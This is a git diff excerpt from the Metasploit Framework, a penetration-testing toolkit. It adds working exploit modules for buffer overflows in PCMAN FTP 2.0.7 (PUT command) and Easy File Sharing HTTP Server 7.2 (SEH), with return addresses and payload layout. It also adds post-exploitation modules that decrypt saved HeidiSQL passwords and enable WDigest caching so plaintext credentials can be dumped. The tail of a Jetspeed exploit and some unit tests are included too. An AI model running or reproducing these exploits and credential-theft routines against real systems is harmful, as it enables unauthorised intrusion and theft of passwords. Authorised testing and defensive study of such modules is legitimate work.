'method' => 'GET',
|
||||
'uri' => "/jetspeed/#{jsp_filename}",
|
||||
'cookie' => @cookie
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Cleanup methods
|
||||
#
|
||||
|
||||
def delete_user
|
||||
send_request_cgi(
|
||||
'method' => 'DELETE',
|
||||
'uri' => "/jetspeed/services/usermanager/users/#{username}"
|
||||
)
|
||||
end
|
||||
|
||||
# XXX: This is a hack because FileDropper doesn't delete directories
|
||||
def on_new_session(session)
|
||||
super
|
||||
case target['Platform']
|
||||
when 'linux'
|
||||
print_status("Deleting user temp directory: ../temp/#{username}")
|
||||
session.shell_command_token("rm -rf ../temp/#{username}")
|
||||
when 'win'
|
||||
print_status("Deleting user temp directory: ..\\temp\\#{username}")
|
||||
session.shell_command_token("rd /s /q ..\\temp\\#{username}")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Utility methods
|
||||
#
|
||||
|
||||
def username
|
||||
@username ||= Rex::Text.rand_text_alpha_lower(8)
|
||||
end
|
||||
|
||||
def password
|
||||
@password ||= Rex::Text.rand_text_alphanumeric(8)
|
||||
end
|
||||
|
||||
def jsp_filename
|
||||
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
|
||||
end
|
||||
|
||||
def zip_filename
|
||||
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,80 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow vulnerability found in the PUT command of the
|
||||
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
|
||||
credientials are enabled.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jay Turla', # Initial Discovery -- @shipcod3
|
||||
'Chris Higgins' # msf Module -- @ch1gg1ns
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '37731'],
|
||||
[ 'OSVDB', '94624']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00\x0A\x0D",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3 English',
|
||||
{
|
||||
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
|
||||
'Offset' => 2007
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Aug 07 2015',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
connect_login
|
||||
disconnect
|
||||
|
||||
if /220 PCMan's FTP Server 2\.0/ === banner
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
connect_login
|
||||
|
||||
print_status('Generating payload...')
|
||||
sploit = rand_text_alpha(target['Offset'])
|
||||
sploit << [target.ret].pack('V')
|
||||
sploit << make_nops(16)
|
||||
sploit << payload.encoded
|
||||
|
||||
send_cmd( ["PUT", sploit], false )
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
|
||||
},
|
||||
'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39008' ],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 390,
|
||||
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 80
|
||||
},
|
||||
'DisclosureDate' => 'Dec 2 2015',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
print_status("Sending exploit...")
|
||||
sploit = "GET "
|
||||
sploit << rand_text_alpha_upper(4061)
|
||||
sploit << generate_seh_record(target.ret)
|
||||
sploit << make_nops(19)
|
||||
sploit << payload.encoded
|
||||
sploit << make_nops(7)
|
||||
sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
|
||||
sploit << " HTTP/1.0\r\n\r\n"
|
||||
sock.put(sploit)
|
||||
print_good("Exploit Sent")
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
|
@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Powershell
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 1, 1), 'exploit/windows/smb/psexec')
|
||||
deprecated(Date.new(2016, 4, 30), 'exploit/windows/smb/psexec')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -0,0 +1,178 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Gather HeidiSQL Saved Password Extraction',
|
||||
'Description' => %q{
|
||||
This module extracts saved passwords from the HeidiSQL client. These
|
||||
passwords are stored in the registry. They are encrypted with a custom algorithm.
|
||||
This module extracts and decrypts these passwords.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['h0ng10'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_good(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def run
|
||||
userhives=load_missing_hives()
|
||||
userhives.each do |hive|
|
||||
next if hive['HKU'].nil?
|
||||
print_status("Looking at Key #{hive['HKU']}")
|
||||
begin
|
||||
subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\HeidiSQL\\Servers")
|
||||
if subkeys.blank?
|
||||
print_status("HeidiSQL not installed for this user.")
|
||||
next
|
||||
end
|
||||
|
||||
service_types = { 0 => 'mysql',
|
||||
1 => 'mysql-named-pipe',
|
||||
2 => 'mysql-ssh',
|
||||
3 => 'mssql-named-pipe',
|
||||
4 => 'mssql',
|
||||
5 => 'mssql-spx-ipx',
|
||||
6 => 'mssql-banyan-vines',
|
||||
7 => 'mssql-windows-rpc',
|
||||
8 => 'postgres'}
|
||||
|
||||
subkeys.each do |site|
|
||||
site_key = "#{hive['HKU']}\\Software\\HeidiSQL\\Servers\\#{site}"
|
||||
host = registry_getvaldata(site_key, "Host") || ""
|
||||
user = registry_getvaldata(site_key, "User") || ""
|
||||
port = registry_getvaldata(site_key, "Port") || ""
|
||||
db_type = registry_getvaldata(site_key, "NetType") || ""
|
||||
prompt = registry_getvaldata(site_key, "LoginPrompt") || ""
|
||||
ssh_user = registry_getvaldata(site_key, "SSHtunnelUser") || ""
|
||||
ssh_host = registry_getvaldata(site_key, "SSHtunnelHost") || ""
|
||||
ssh_port = registry_getvaldata(site_key, "SSHtunnelPort") || ""
|
||||
ssh_pass = registry_getvaldata(site_key, "SSHtunnelPass") || ""
|
||||
win_auth = registry_getvaldata(site_key, "WindowsAuth") || ""
|
||||
epass = registry_getvaldata(site_key, "Password")
|
||||
|
||||
# skip if windows authentication is used (mssql only)
|
||||
next if db_type.between?(3,7) and win_auth == 1
|
||||
next if epass == nil or epass == "" or epass.length == 1 or prompt == 1
|
||||
pass = decrypt(epass)
|
||||
print_good("Service: #{service_types[db_type]} Host: #{host} Port: #{port} User: #{user} Password: #{pass}")
|
||||
|
||||
service_data = {
|
||||
address: host == '127.0.0.1' ? rhost : host,
|
||||
port: port,
|
||||
service_name: service_types[db_type],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname,
|
||||
private_type: :password,
|
||||
private_data: pass,
|
||||
username: user
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
|
||||
# Create the Metasploit::Credential::Core object
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
||||
login_data ={
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
# Merge in the service data and create our Login
|
||||
login_data.merge!(service_data)
|
||||
login = create_credential_login(login_data)
|
||||
|
||||
|
||||
# if we have a MySQL via SSH connection, we need to store the SSH credentials as well
|
||||
if db_type == 2 then
|
||||
|
||||
print_good("Service: ssh Host: #{ssh_host} Port: #{ssh_port} User: #{ssh_user} Password: #{ssh_pass}")
|
||||
|
||||
service_data = {
|
||||
address: ssh_host,
|
||||
port: ssh_port,
|
||||
service_name: 'ssh',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname,
|
||||
private_type: :password,
|
||||
private_data: ssh_pass,
|
||||
username: ssh_user
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
# Create the Metasploit::Credential::Core object
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
||||
login_data ={
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
# Merge in the service data and create our Login
|
||||
login_data.merge!(service_data)
|
||||
login = create_credential_login(login_data)
|
||||
|
||||
end
|
||||
end
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
print_error("Cannot Access User SID: #{hive['HKU']} : #{e.message}")
|
||||
end
|
||||
end
|
||||
unload_our_hives(userhives)
|
||||
end
|
||||
|
||||
def decrypt(encoded)
|
||||
decoded = ""
|
||||
shift = Integer(encoded[-1,1])
|
||||
encoded = encoded[0,encoded.length-1]
|
||||
|
||||
hex_chars = encoded.scan(/../)
|
||||
hex_chars.each do |entry|
|
||||
x = entry.to_i(16) - shift
|
||||
decoded += x.chr(Encoding::UTF_8)
|
||||
end
|
||||
|
||||
return decoded
|
||||
end
|
||||
end
|
|
@ -0,0 +1,98 @@
|
|||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
|
||||
USE_LOGON_CREDENTIAL = 'UseLogonCredential'
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Post Manage WDigest Credential Caching',
|
||||
'Description' => %q{
|
||||
On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables
|
||||
credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key.
|
||||
Any subsequest logins will allow mimikatz to recover the plain text passwords from the system's memory.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('ENABLE',[false,'Enable the WDigest Credential Cache.',true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
# Check if OS is 8/2012 or newer. If not, no need to set the registry key
|
||||
# Can be backported to Windows 7, 2k8R2 but defaults to enabled...
|
||||
if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i
|
||||
print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...')
|
||||
else
|
||||
datastore['ENABLE'] ? wdigest_enable : wdigest_disable
|
||||
end
|
||||
end
|
||||
|
||||
def get_key
|
||||
# Check if the key exists. Not present by default
|
||||
print_status("Checking if the #{WDIGEST_REG_LOCATION}\\#{USE_LOGON_CREDENTIAL} DWORD exists...")
|
||||
begin
|
||||
wdvalue = registry_getvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL)
|
||||
key_exists = !wdvalue.nil?
|
||||
|
||||
print_status("#{USE_LOGON_CREDENTIAL} is set to #{wdvalue}") if key_exists
|
||||
return wdvalue
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
def wdigest_enable
|
||||
wdvalue = get_key
|
||||
key_exists = !wdvalue.nil?
|
||||
# If it is not present, create it
|
||||
if key_exists && wdvalue == 1
|
||||
print_good('Registry value is already set. WDigest Security Provider is enabled')
|
||||
else
|
||||
begin
|
||||
verb = key_exists ? 'Setting' : 'Creating'
|
||||
print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 1...")
|
||||
if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 1, 'REG_DWORD')
|
||||
print_good('WDigest Security Provider enabled')
|
||||
else
|
||||
print_error('Unable to access registry key - insufficient privileges?')
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def wdigest_disable
|
||||
wdvalue = get_key
|
||||
key_exists = !wdvalue.nil?
|
||||
# If it is not present, create it
|
||||
if key_exists && wdvalue == 0
|
||||
print_good('Registry value is already set. WDigest Security Provider is disabled')
|
||||
else
|
||||
begin
|
||||
verb = key_exists ? 'Setting' : 'Creating'
|
||||
print_status("#{verb} #{USE_LOGON_CREDENTIAL} DWORD value as 0...")
|
||||
if registry_setvaldata(WDIGEST_REG_LOCATION, USE_LOGON_CREDENTIAL, 0, 'REG_DWORD')
|
||||
print_good('WDigest Security Provider disabled')
|
||||
else
|
||||
print_error('Unable to access registry key - insufficient privileges?')
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(Failure::Unknown, "Unable to access registry key: #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,129 @@
|
|||
require 'msf/core'
|
||||
|
||||
RSpec.describe Net::DNS::Names do
|
||||
subject do
|
||||
obj = Object.new
|
||||
obj.extend(described_class)
|
||||
end
|
||||
|
||||
describe '#dn_expand' do
|
||||
context 'when offset is great than packet length' do
|
||||
let(:packet) do
|
||||
'AAAAA'
|
||||
end
|
||||
|
||||
let(:offset) do
|
||||
10
|
||||
end
|
||||
|
||||
it 'raises an ExpandError exception' do
|
||||
expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when packet length is less than offset + INT16SZ' do
|
||||
let(:packet) do
|
||||
"\xc0"
|
||||
end
|
||||
|
||||
let(:offset) do
|
||||
0
|
||||
end
|
||||
|
||||
it 'raises an ExpandError exception' do
|
||||
expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when packet length is less than offset + packet length' do
|
||||
let(:packet) do
|
||||
'AAAAA'
|
||||
end
|
||||
|
||||
let(:offset) do
|
||||
4
|
||||
end
|
||||
|
||||
it 'raises an ExpandError exception' do
|
||||
expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#pack_name' do
|
||||
context 'when name data size is larger than 255 bytes' do
|
||||
let(:name) do
|
||||
'A' * (255+1)
|
||||
end
|
||||
|
||||
it 'raises an ArgumentError exception' do
|
||||
expect { subject.pack_name(name) }.to raise_exception(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when label data is larger than 63 bytes' do
|
||||
let(:name) do
|
||||
'A' * (63+1) + '.'
|
||||
end
|
||||
|
||||
it 'raises an ArgumentError exception' do
|
||||
expect { subject.pack_name(name) }.to raise_exception(ArgumentError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#names_array' do
|
||||
let(:name) do
|
||||
"AAA.AAA"
|
||||
end
|
||||
|
||||
it 'returns an Array' do
|
||||
expect(subject.names_array(name)).to be_kind_of(Array)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#dn_comp' do
|
||||
let(:name) do
|
||||
'AAAA'
|
||||
end
|
||||
|
||||
let(:offset) do
|
||||
0
|
||||
end
|
||||
|
||||
let(:compnames) do
|
||||
{}
|
||||
end
|
||||
|
||||
it 'returns 3 values' do
|
||||
v = subject.dn_comp(name, offset, compnames)
|
||||
expect(v.length).to eq(3)
|
||||
expect(v[0]).to be_kind_of(String)
|
||||
expect(v[1]).to be_kind_of(Fixnum)
|
||||
expect(v[2]).to be_kind_of(Hash)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#valid?' do
|
||||
context 'when FQDN is valid' do
|
||||
let(:fqdn) do
|
||||
'example.com'
|
||||
end
|
||||
|
||||
it 'returns the FQDN' do
|
||||
expect(subject.valid?(fqdn)).to eq(fqdn)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context 'when FQDN is not valid' do
|
||||
let(:fqdn) do
|
||||
'INVALID'
|
||||
end
|
||||
|
||||
it 'raises ArgumentError exception' do
|
||||
expect { subject.valid?(fqdn) }.to raise_exception(ArgumentError)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,640 +0,0 @@
|
|||
load Metasploit::Framework.root.join('tools/exploit/msu_finder.rb').to_path
|
||||
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe MicrosoftPatchFinder do
|
||||
|
||||
before(:example) do
|
||||
cli = Rex::Proto::Http::Client.new('127.0.0.1')
|
||||
allow(cli).to receive(:connect)
|
||||
allow(cli).to receive(:request_cgi)
|
||||
allow(cli).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new)
|
||||
allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
|
||||
end
|
||||
|
||||
let(:technet) do
|
||||
MicrosoftPatchFinder::SiteInfo::TECHNET
|
||||
end
|
||||
|
||||
let(:microsoft) do
|
||||
MicrosoftPatchFinder::SiteInfo::MICROSOFT
|
||||
end
|
||||
|
||||
let(:googleapis) do
|
||||
MicrosoftPatchFinder::SiteInfo::GOOGLEAPIS
|
||||
end
|
||||
|
||||
describe MicrosoftPatchFinder::SiteInfo do
|
||||
context 'Constants' do
|
||||
context 'TECHNET' do
|
||||
it 'returns 157.56.148.23 as the IP' do
|
||||
expect(technet[:ip]).to eq('157.56.148.23')
|
||||
end
|
||||
|
||||
it 'returns technet.microsoft.com as the vhost' do
|
||||
expect(technet[:vhost]).to eq('technet.microsoft.com')
|
||||
end
|
||||
end
|
||||
|
||||
context 'MICROSOFT' do
|
||||
it 'returns 104.72.230.162 as the IP' do
|
||||
expect(microsoft[:ip]).to eq('104.72.230.162')
|
||||
end
|
||||
|
||||
it 'returns www.microsoft.com as the vhost' do
|
||||
expect(microsoft[:vhost]).to eq('www.microsoft.com')
|
||||
end
|
||||
end
|
||||
|
||||
context 'GOOGLEAPIS' do
|
||||
it 'returns 74.125.28.95 as the IP' do
|
||||
expect(googleapis[:ip]).to eq('74.125.28.95')
|
||||
end
|
||||
|
||||
it 'returns www.googleapis.com as the vhost' do
|
||||
expect(googleapis[:vhost]).to eq('www.googleapis.com')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe MicrosoftPatchFinder::Helper do
|
||||
subject(:object_helper) do
|
||||
mod = Object.new
|
||||
mod.extend MicrosoftPatchFinder::Helper
|
||||
mod
|
||||
end
|
||||
|
||||
describe '#print_debug' do
|
||||
it 'prints a [DEBUG] message' do
|
||||
output = get_stderr { object_helper.print_debug }
|
||||
expect(output).to include('[DEBUG]')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#print_status' do
|
||||
it 'prints a [*] message' do
|
||||
output = get_stderr { object_helper.print_status }
|
||||
expect(output).to include('[*]')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#print_error' do
|
||||
it 'prints an [ERROR] message' do
|
||||
output = get_stderr { object_helper.print_error }
|
||||
expect(output).to include('[ERROR]')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#print_line' do
|
||||
it 'prints a regular message' do
|
||||
msg = 'TEST'
|
||||
output = get_stdout { object_helper.print_line(msg) }
|
||||
expect(output).to eq("#{msg}\n")
|
||||
end
|
||||
end
|
||||
|
||||
describe '#send_http_request' do
|
||||
it 'returns a Rex::Proto::Http::Response object' do
|
||||
allow(object_helper).to receive(:print_debug)
|
||||
res = object_helper.send_http_request(MicrosoftPatchFinder::SiteInfo::TECHNET)
|
||||
expect(res).to be_kind_of(Rex::Proto::Http::Response)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe MicrosoftPatchFinder::PatchLinkCollector do
|
||||
|
||||
let(:ms15_100_html) do
|
||||
%Q|
|
||||
<html>
|
||||
<div id="mainBody">
|
||||
<div>
|
||||
<h2>
|
||||
<div>
|
||||
<span>Affected Software</span>
|
||||
<div class="sectionblock">
|
||||
<table>
|
||||
<tr><td><a href="https://www.microsoft.com/downloads/details.aspx?familyid=1">fake link</a></td></tr>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</h2>
|
||||
</div>
|
||||
</div>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
let(:ms07_029_html) do
|
||||
%Q|
|
||||
<html>
|
||||
<div id="mainBody">
|
||||
<ul>
|
||||
<li>
|
||||
<a href="http://technet.microsoft.com">Download the update</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
let(:ms03_039_html) do
|
||||
%Q|
|
||||
<html>
|
||||
<div id="mainBody">
|
||||
<div>
|
||||
<div class="sectionblock">
|
||||
<p>
|
||||
<strong>Download locations</strong>
|
||||
</p>
|
||||
<ul>
|
||||
<li>
|
||||
<a href="http://technet.microsoft.com">Download</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
let(:ms07_030_html) do
|
||||
%Q|
|
||||
<html>
|
||||
<div id="mainBody">
|
||||
<p>
|
||||
<strong>Affected Software</strong>
|
||||
</p>
|
||||
<table>
|
||||
<tr><td><a href="http://technet.microsoft.com">Download</a></td></tr>
|
||||
</div>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
subject(:patch_link_collector) do
|
||||
MicrosoftPatchFinder::PatchLinkCollector.new
|
||||
end
|
||||
|
||||
before(:example) do
|
||||
allow(patch_link_collector).to receive(:print_debug)
|
||||
end
|
||||
|
||||
describe '#download_advisory' do
|
||||
it 'returns a Rex::Proto::Http::Response object' do
|
||||
res = patch_link_collector.download_advisory('ms15-100')
|
||||
expect(res).to be_kind_of(Rex::Proto::Http::Response)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_appropriate_pattern' do
|
||||
|
||||
it 'returns a pattern for ms15-100' do
|
||||
expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a'
|
||||
p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms15_100_html))
|
||||
expect(p).to eq(expected_pattern)
|
||||
end
|
||||
|
||||
it 'returns a pattern for ms07-029' do
|
||||
expected_pattern = '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]'
|
||||
p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_029_html))
|
||||
expect(p).to eq(expected_pattern)
|
||||
end
|
||||
|
||||
it 'returns a pattern for ms03-039' do
|
||||
expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a'
|
||||
p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms03_039_html))
|
||||
expect(p).to eq(expected_pattern)
|
||||
end
|
||||
|
||||
it 'returns a pattern for ms07-030' do
|
||||
expected_pattern = '//div[@id="mainBody"]//table//a'
|
||||
p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_030_html))
|
||||
expect(p).to eq(expected_pattern)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_details_aspx' do
|
||||
let(:details_aspx) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:body).and_return(ms15_100_html)
|
||||
res
|
||||
end
|
||||
|
||||
it 'returns an URI object to a details aspx' do
|
||||
links = patch_link_collector.get_details_aspx(details_aspx)
|
||||
expected_uri = 'https://www.microsoft.com/downloads/details.aspx?familyid=1'
|
||||
expect(links.length).to eq(1)
|
||||
expect(links.first).to be_kind_of(URI)
|
||||
expect(links.first.to_s).to eq(expected_uri)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#follow_redirect' do
|
||||
let(:expected_header) do
|
||||
{ 'Location' => 'http://example.com/' }
|
||||
end
|
||||
|
||||
let(:http_res) do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:headers).and_return(expected_header)
|
||||
res
|
||||
end
|
||||
|
||||
it 'goes to a location based on the Location HTTP header' do
|
||||
cli = Rex::Proto::Http::Client.new('127.0.0.1')
|
||||
allow(cli).to receive(:connect)
|
||||
allow(cli).to receive(:request_cgi)
|
||||
allow(cli).to receive(:send_recv).and_return(http_res)
|
||||
allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
|
||||
|
||||
expect(patch_link_collector.follow_redirect(technet, http_res).headers).to eq(expected_header)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_download_page' do
|
||||
it 'returns a Rex::Proto::Http::Response object' do
|
||||
uri = URI('http://www.example.com/')
|
||||
expect(patch_link_collector.get_download_page(uri)).to be_kind_of(Rex::Proto::Http::Response)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_download_links' do
|
||||
let(:confirm_aspx) do
|
||||
%Q|
|
||||
<html>
|
||||
<a href="https://www.microsoft.com/en-us/download/confirmation.aspx?id=1">Download</a>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
let(:expected_link) do
|
||||
'https://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu'
|
||||
end
|
||||
|
||||
let(:download_html_res) do
|
||||
Rex::Proto::Http::Response.new.tap { |response|
|
||||
allow(response).to receive(:body).and_return(
|
||||
%Q|
|
||||
<html>
|
||||
<a href="#{expected_link}">Click here</a>
|
||||
</html>
|
||||
|
|
||||
)
|
||||
}
|
||||
end
|
||||
|
||||
it 'returns an array of links' do
|
||||
cli = Rex::Proto::Http::Client.new('127.0.0.1')
|
||||
allow(cli).to receive(:connect)
|
||||
allow(cli).to receive(:request_cgi)
|
||||
allow(cli).to receive(:send_recv).and_return(download_html_res)
|
||||
allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli)
|
||||
|
||||
expect(patch_link_collector.get_download_links(confirm_aspx).first).to eq(expected_link)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#has_advisory?' do
|
||||
it 'returns true if the page is found' do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
expect(patch_link_collector.has_advisory?(res)).to be_truthy
|
||||
end
|
||||
|
